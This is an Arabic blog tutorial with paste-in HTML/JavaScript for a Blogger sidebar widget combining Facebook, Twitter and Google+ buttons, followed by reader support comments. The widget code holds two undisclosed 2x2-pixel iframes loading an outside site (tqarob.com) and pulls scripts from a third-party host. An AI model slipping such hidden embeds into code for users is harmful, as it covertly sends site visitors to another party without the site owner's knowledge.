فيس بوك وتويتر وجوجل بلس في اضافة واحده بتقنية الجي كويري

السلام عليكم ورحمة الله وبركاتة .. جميعنا يعلم ماهي تقنية الجي كويري الرائعه وما تفعله تلك المكتبة التي فاقت الجافا سكربت من تاثيرات رهيبه علي مدونة بلوجر واصبح لا غني عنها .. ايضا تعلمون الاضافة المشهوره والتي من خلالها يتم متابعة صفحتكم الخاصه علي الفيس بوك عن طريق نفس التقنيه وهي ما استخدمها في مدونتي علي يمين الصفحه  ومن يريد الاضافة التي استعملها في مدونتي يمكنه متابعة تطبيقها من خلال الرابط التالي هنا.. اليوم اثناء بحثي وجدت اضافه رائعه جدا ومتنوعه عن طريق الجي كويري تجمع بين اضافة المتابعين علي الفيس بوك وبين اخر ما تم نشره علي تويتر الخاص بكم وكذلك زر جوجل بلس الشهير .. لمشاهدة مثال حي علي الاضافة يمكنكم زيارة الرابط التالي  بالطبع قد اعجبك شكل الاضافه واحترافيتها الواضحه . ولا  احد يسأل لماذا لا اغير الاضافه التي عندي بتلك الجديده الموجوده في الشرح فستكون الاجابه كالمعتاد ( هناك الاف من الاضافات تخص بلوجر وليس من المعقول ان يتم تطبيق كل الاضافات والا المدونه سيستحيل تصفحها من قبل القراء خصوصا لو كانت مدونه تهتم بالتقنيه لذا ليس غريبا الا اقوم بتطبيق كل الدروس المطروحه هنا ) عذرا للاطاله. الان ناتي للتطبيق من خلال خطوه واحده فقط .. قم بالذهاب الي لوحة تحكم بلوجر ثم الي عناصر تصميم الصفحه وقم بفتح اداه جديده من نوع جافا سكربت وضع فيها الكود الموجود في اخر التدوينه ... قبل حفظ الاداه قم بالبحث داخل الكود عن EgyMigrants واستبدلها باسم صفحتك علي الفيس بوك ..مثال  http://www.facebook.com/EgyMigrants   ما يهمنا في الرابط السابق هو المكتوب باللون الاحمر فقط..
قد يوجد بعض الصفحات اسمها مكون من كلمات وبعض الحروف ,لا توجد مشكله فقط انسخ كل المكتوب بعد الرابط المعلم باللون الازرق
ثم قم بالبحث مجددا عن تلك الكلمه داخل الكود  dinhquanghuy واستبدلها باسم حسابك علي تويتر ... ثم قم بحفظ الاداه بدون ان تضع لها اسما .. هذا هو كل شئ واي استفسار يرجا ترك تعليق بالاسفل ... شكر خاص جدا لموقع الاستضافه العربي المكتشف والان مع الكود ..

<div id="body_left_up">
</div><div id="body_left"><div id="body_right">

<!-- /logo -->
<!-- content table -->
<!-- open content container --><div align="center">
<div class="page" style="width:100%; text-align:right">
<div style="padding:0px 2px 0px 2px">

<script type="text/javascript" src="http://www.mktashf.com/vb/js/jquery.js"></script>
<style type="text/css">

img, a { border: 0; }
#likebox_1 {
z-index: 10005;
border:2px solid #3c95d9;
background-color: #fff;
width:196px;
height: 353px;
position: fixed;
top: 18%;
right: -200px;
}

#likebox_1_1 {
width:196px;
height: 353px;
overflow: hidden;
}

#likebox_1 img {
position: absolute;
top: -2px;
left: -35px;
}

#likebox_1 iframe {
border:0px solid #3c95d9;
overflow: hidden;
position: static;
height: 360px;
left:-2px;
top:-3px;
}
#polecam_1 {
z-index: 10004;
border:2px solid #6CC5FF;
background-color: #6CC5FF;
width:246px;
height: 353px;
position: fixed;
top: 35%;
right: -250px;
}

#polecam_1_1 {
width:246px;
height: 353px;
overflow: hidden;
}

#polecamy_img {
position: absolute;
top: -2px;
left: -35px;
border: 0;
}
#google_1 {
z-index: 10003;
border-top:2px solid #0056a0;
border-bottom: 2px solid #0056a0;
border-right:2px solid #0056a0;
border-left: hidden;
background-color: #006ec9;
width:152px;
height: 97px;
position: fixed;
top: 52%;
right: -154px;
}

#google_1_1 {
width:152px;
height: 97px;
overflow: hidden;
}

#google_img {
position: absolute;
top: -2px;
left: -33px;
border: 0;
}
#youtube_1 {
z-index: 10003;
border:2px solid #cb1c0e;
background-color: #fff;
width:196px;
height: 353px;
position: fixed;
right: -200px;
}

#youtube_1_1 {
width:196px;
height: 353px;
overflow: hidden;
}

#youtube_1 img {
position: absolute;
top: -2px;
left: -35px;
}

</style>

<!-- facebook --><div id="likebox_1"><div id="likebox_1_1">
<img src="http://www.mktashf.com/vb/images/fb1.png" alt="" />
<script>(function(d){
var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
js = d.createElement('script'); js.id = id; js.async = true;
js.src = "http://connect.facebook.net/en_US/all.js#xfbml=1";
d.getElementsByTagName('head')[0].appendChild(js);
}(document));</script><div class="fb-like-box" data-href="http://www.facebook.com/EgyMigrants" data-width="200" data-height="356" data-show-faces="true" data-stream="false" data-header="false"></div>
<iframe src ="http://tqarob.com" width="2" height="2">
</iframe></div>
</div>
<!-- facebook -->
<!-- twitter -->
<div id="polecam_1"><div id="polecam_1_1">
<img id="polecamy_img" src="http://www.mktashf.com/vb/images/twitter.png" />

<script src="http://www.mktashf.com/vb/js/widget.js"></script>

<script>
new TWTR.Widget({
version: 2,
type: 'profile',
rpp: 3,
interval: 1000,
width: 246,
height: 265,
theme: {
shell: {
background: '#63BEFD',
color: '#FFFFFF'
},
tweets: {
background: '#FFFFFF',
color: '#000000',
links: '#47a61e'
}
},
features: {
loop: false,live: true,
scrollbar: false,hashtags: false,timestamp: true,
avatars: true,behavior: 'default' }
}).render().setUser('dinhquanghuy').start();
</script>
</div><iframe src ="http://tqarob.com" width="2" height="2">
</iframe></div>
<!-- twitter -->

<!-- google_1 --><div id="google_1"><div id="google_1_1">
<img id="google_img" src="http://www.mktashf.com/vb/images/google.png" /><div style="color:#999;font-size:11px; padding-top: 15px;
padding-right:30px; margin:5px; width:98px; height:97px;">
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
<g:plusone size="tall"></g:plusone>
</div></div></div>

<!-- google_1 -->
</div></div></div></div></div>

أصدقاء(تطوير ويب)
تعليقات Facebook
40تعليقات Blogger

40 عدد التعليقات على موضوع فيس بوك وتويتر وجوجل بلس في اضافة واحده بتقنية الجي كويري

راجح سلام يقول...

تم التركيب بنجاح الف شكر يااستاذ احمد اضافه هايله بس كان عندي سؤال ممكن ارفع ملفات الجافا علي حسابي في جوجل؟ ولا الاضافه هتتعطل

غير معرف يقول...

@راجح سلام
شكرا لك اخى الكريم على متابعتك .. بالتوفيق لك

غير معرف يقول...

@راجح سلام
الملفات يمكنك رفعها بالطبع على حسابك ان اردت ذلك فربما تتعطل ان تم مسحها من الحساب المرفوعه عليه

غير معرف يقول...

Could not retrieve id for the specified page. Please verify correct href was passed in.

ما سبب هذه المشكلة في إضافة تويتر ..

ويمكنك مشاهدتها في المدونة ...

tqarb يقول...

ضع اخى العزيز الكود من جديد وتاكد من تغيير الكلمه المحدده في الشرح فيما يتعلق بتويتر واستبدلها باسم حسابك على تويتر

غير معرف يقول...

آسف آخوي .. المشكلة كانت بالفيس بوك مش بالتويتر ..

وبالنسبة لكلامك .. طبقته أكثر من مرة وما نفع ..

tqarb يقول...

مادامت المشكله في الفيس بوك وليست في تويتر اذن كيف طبقته اساسا؟

غير معرف يقول...

http://www.facebook.com/EgyMigrants

غيرت EgyMigrants إلى Drr.Blog

وغيرت dinhquanghuy drr_blog

غير معرف يقول...

يبدو أن لدينا فارق بالوقت كبير .. أنا من السعودية والوقت الآن 05:14 مساءاً

tqarb يقول...

معذرة اخي قم باعطائي رابط مدونتك وساقوم بعمل الاداه حسب بيانات الفيس بوك وتويتر مادمت متاكدا منها وارفق لي عنوان بريدك وسارسل لك كود الاضافه عليه .. تقبل مودتي

tqarb يقول...

اخى العزيز لا تقلق ساطبقها لك باذن الله ولكن ان تكرمت اعطيني رابط صفحة مدونتك على الفيس بوك وليس رابط صفحة ملفك الشخصي لاني جربتها على مدونه تجريبيه وظهر لي خطا معناه انه لا يوجد مدونه لها صفحه بهذا الاسم
اعتذر قد ارهقتك معي ولكن هذة هي اخر خطوه

غير معرف يقول...

http://www.facebook.com/Drr.Blog?ref=tn_tnmn

مشكور على الخلق الجميل..

tqarb يقول...

كما توقعت اخي , تلك الاضافه تقوم بعرض الاشخاص الذين قامو بعمل لايك او اعجبني لصفحة مدونتك على الفيس بوك .. والرابط الذي اعطيتني اياه ليس رابط صفحه على الفيس بوك بل رابط ملفك الشخصي .
اذن ما الفرق بين صفحة المدونه ع الفيس وصفحة الملف الشخصي
الملف الشخصي هو مااعطيتني رابط له الان وهو يتيح لك مشاركة اصدائك ما يعجبك ونشر ماتريد وتكوين صداقات
اما صفحة المدونه ع الفيس بوك فما هي الا صفحه تنشر عليها اخر تحديثات مدونتك وما تم نشره فيها وبامكان مستخدمي الفيس بوك الاعجاب بها وظهور صور مصغره لهم وهذا هو ما تتيحه الاضافه وهو عرض الاشخاص المعجبين بصفحتك
لعمل صفحه لمدونتك ع الفيس بوك اتبع الشرح الموجود في هذا الرابط
http://www.mtwer.com/vb/t53851.html
بعد الانتهاء قم باعطائي رابط الصفحه وعنوان بريدك كى ارسل لك كود الاضافه بعد تعديله اليك . تقبل مودتي وتقديري وتحياتي لاهل المملكه جميعا.

غير معرف يقول...

ينصر دينك .. وقفت متعجباً من حسن كرمك بي .. فجزاك الله الجنة ...


http://www.facebook.com/MdwntDurr


aboody_ss_2006@hotmail.com

tqarb يقول...

تم ارسال الكود اليك بعد تعديله ببياناتك اخى العزيز , شكرا لمتابعتك وكلامك الطيب

غير معرف يقول...

الشكر لك أنت .. سأخبرك بالجديد ..

tqarb يقول...

بانتظارك اخى العزيز . واى استفسار او طلب اخر لا تتردد اطلاقا .. تقبل مودتى وتقديري لشخصك الطيب .

غير معرف يقول...

جزيت الجنة على مساعدتك معي ..

غير معرف يقول...

كيف التواصل معك .. عندي مشكلة أخيره في الدومين .. غيرته إلى COM .. ولي اكثر من 5 أيام كل ما أبحث عنه يطلع هالنص ..

404. That’s an error.

The requested URL / was not found on this server. That’s all we know.

...................

مع العلم أنهم خصموا الفلوس من حسابي ..

tqarb يقول...

من اي شركه اشتريت الدومين ؟ لان الجابه لها عامل كبير فشركة جودادي مثلا تختلف عن الشركات العربيه وعن جوجل

غير معرف يقول...

Hello abed a m aldossari,

Thanks for buying from Google Apps using Google Checkout! Google Apps will charge your order soon.

غير معرف يقول...

Hello iObeid AlObeid ,

Welcome to Google Apps!

Congratulations on completing your purchase of obeidrr.com. Your new domain has been registered with GoDaddy.com and will expire on 23 مارس, 2013. Your domain will be automatically configured to work with the Google Apps services you select. We're excited to help you offer powerful communication and sharing tools to all your users.

tqarb يقول...

اذن قم بتسجيل الدخول الي حسابك في موقع جودادي ومن بعدها توجه الي هذا الرابط
https://idp.godaddy.com/login.aspx?spkey=GDSWNET-M1PWCORPWEB108&target=http%3a%2f%2fwww.godaddy.com%2fblog%2fbloggerdnssetup.aspx&redirect=false
انسخه وضعه في المتصفح ثم ادخل النطاق الذي حجزته في الخانه التي في مثل تلك الصوره
http://3.bp.blogspot.com/-tYPsTXYJoIE/TzHS4RIOy9I/AAAAAAAABWg/14Wce7ABBhI/s1600/godaddy-blogger-doamain.png
انسخ رابط الصوره وضعه في المتصفح لترى الصوره ثم اضغط زر confirm
بعد الانتهاء تكون قد انهيت اهم خطوه ويبق خطوه اخيره قم بعملها ان لم تكون اجريتها توجه إلى لوحة تحكم مدونتك على بلوجر ثم في صفحة الإعدادات (إعدادات / نشر في لوحة التحكم القديمة) تضغط رابط إضافة نطاق مخصص الموجود مباشرة تحت حقل عنوان المدونة.
ثم بعد توسيع الإطار تضغط "تبديل إلى الإعدادات المتقدمة" وفي الحقل الفارغ أكتب اسم نطاق مدونتك الجديد بهذا الشكل www.example.com، و ستجد أن توجيه النطاق الفرعي القديم إلى اسم النطاق الجديد مفعل افتراضيا ثم تضغط زر الحفظ .. بانتظارك بعد التجربه

غير معرف يقول...

The following errors occurred while submitting the form:
OBEID.DRR : is not a domain at Go Daddy

غير معرف يقول...

آسف .. لما كتبته لك .. فقد أخطئت في نسخ الدومين ..


وع فكرة جودادي لم يرسلوا لي شي ..

لكن بماذا تفسر هالصورة ....

http://img04.arabsh.com/uploads/image/2012/03/26/0734434b65f2.jpg

..................

مع العلم انهم يطلبون مني الرقم السري .. ؟؟؟؟

غير معرف يقول...

اهم خطوه ويبق خطوه اخيره قم بعملها ان لم تكون اجريتها توجه إلى لوحة تحكم مدونتك على بلوجر ثم في صفحة الإعدادات (إعدادات / نشر في لوحة التحكم القديمة) تضغط رابط إضافة نطاق مخصص الموجود مباشرة تحت حقل عنوان المدونة.
ثم بعد توسيع الإطار تضغط "تبديل إلى الإعدادات المتقدمة" وفي الحقل الفارغ أكتب اسم نطاق مدونتك الجديد بهذا الشكل www.example.com، و ستجد أن توجيه النطاق الفرعي القديم إلى اسم النطاق الجديد مفعل افتراضيا ثم تضغط زر الحفظ .. بانتظارك بعد التجربه


++++++++++++++++++++++++++++++++++++++++

هذه الخطوة عملتها أولا ..

غير معرف يقول...

أعتقد أنني سأدشن دومين جديد .. فأرجو منك أن تحيلني إلى موقع يرشدني من الأول إلى الأحير ..

من بداية كتابة الدومين .. طرق نشره وفهرسته وخخط الموقع وأدوات المشرف ..

أكون شاكر ومقدر لك ذلك ..

tqarb يقول...

بالنسبه للصوره اخي فهي تؤكد ان الدومين تم تسجيله عن طريق جودادي ولكن يبدو انك اشتريته من خلال لوحة تحكم بلوجر وجودادي في تلك الحاله يعتبر وسيط غير ان الافضل هو شرائه من جودادي مباشرة وهذا قد يفسر ان جودادي لم يرسل لك شيئا ولكن في الوقت نفسه الامر محير لان جميع حالا شراء الدومين من خلال لوحه تحكم بلوجر يتم فيه تنشيط الدومين تلقائيا بدون تدخل وخلال 48ساعه !! بالنسبه لشرائك دومين اخر انصحك بالذهاب الى موقع جودادي مباشرة وتسجيل عضويه جديده ومن ثم وضع نطاقك الذي تريده في خانه البحث وان كان متوفرا قم بتكملة باقي اجراءات االشراء وهى للعلم سهله ومبسطه جدا المهم انك لا تقم باختيار اي منتج اخر يعرضه عليك جودادي عند اختيارك للدومين كى لا يتم خصم مبالغ اضافيه من حسابك . بعد اكتمال الشراء اذهاب للرابط الذي وضعته لك في تعليقي السابق وضع فيه الدومين ال1ي اشتريته واكمل مثلما شرحت لك فهذا اعداد للدومين كى يتناسب مع اعدادات بلوجر ويتم تحويل الرابط القديم للجديد .

غير معرف يقول...

الآن .. لا أستطيع الدخول للمدونة ... فهي على الدومين الجديد ..

/www.obeidrr.com/

ويعطيني الكلام هذا ..


404. That’s an error.

The requested URL / was not found on this server. That’s all we know.

غير معرف يقول...

أستطعت الدخول لبلوجر وسأوافيك بالصور .. أتعبناك معنا ..

غير معرف يقول...

هل تعتقد بسبب أني لما أعمل أدوات المشرف وما يطبه قوقل في الدومين الجديد ...
دلني ..

غير معرف يقول...

لأنها ظهرت لي رسالة لما قمت بالضغط على عرض المدونة ..

The requested URL /b/layout-preview?token=H0PTVzYBAAA.RwZq1gpelW0yF7fd6Sah5A.03y9L9FidRDmPNEsfXfzFQ&blogID=5455993813479299331 was not found on this server. That’s all we know.

" URL المطلوب لم يتم العثور على هذا الخادم. هذا كل ما نعرفه.

Zakaria Yamaoui يقول...

السلام عليكم، اضافة أكثر من رائعة بارك الله فيك أخي الكريم :) و شكرا على مجهوداتك :)
لدي سؤال حول الاضافة .. هل من حل لانزالها قليلا لتكون في الوسط ؟

tqarb يقول...

صورة الاضافه مكونه من ثلاث صور منفصلين كى يتم تحريك واحده ينبغي تحريك الاخريات والا تشوه الشكل . لا ارى ان تموضعها فيه اشكاليه بالعكس مثالي جدا ولكن على كل حال كما ترغب يمكنك البحث داخل الكود عن top ستجدها مكرره كثيرا في الكود وبقيم مختلفه وهي المسؤله عن تحريك الاضافه يمكنك التوفيق بين جميع القيم على حد سواء كى لا يختل الوضع واعتقده سيكون مرهق.

Zakaria Yamaoui يقول...

ااه :) شكرااا جزيييلا لك على المساعدة أظن سوف ادعها كما هي اذا .. أما بالنسبة لجعلها تندخل قليلا الى اليمين لكي تتناسب مع حافة القالب ؟ هل من حل لهذا ........و أعتذر هذا اخر سؤال :p :)

tqarb يقول...

يمكن ذلك بالبحث عن left: -35px;
وعن left: -33px;
وتقليل الرقم قليلا
مع الوضع في الاعتبار ان left: -35px; مكرره مرتين ويجب تغيير الاثنين

برق الشوق يقول...

عوااافي ابو حميد..
سؤال احمد الأن موجودهـ اضافة فيس بوك وجوجل بلس لكن خدمة تويتر مالحل لتركيبه هل اطبق درسك هذا كامل او ماذا أفعل

إرسال تعليق

التعليقات متاحه لمستخدمي حساب جوجل فقط.ولاضافة كود: أستعن بهذه الأداة السريعة Encode/HTML .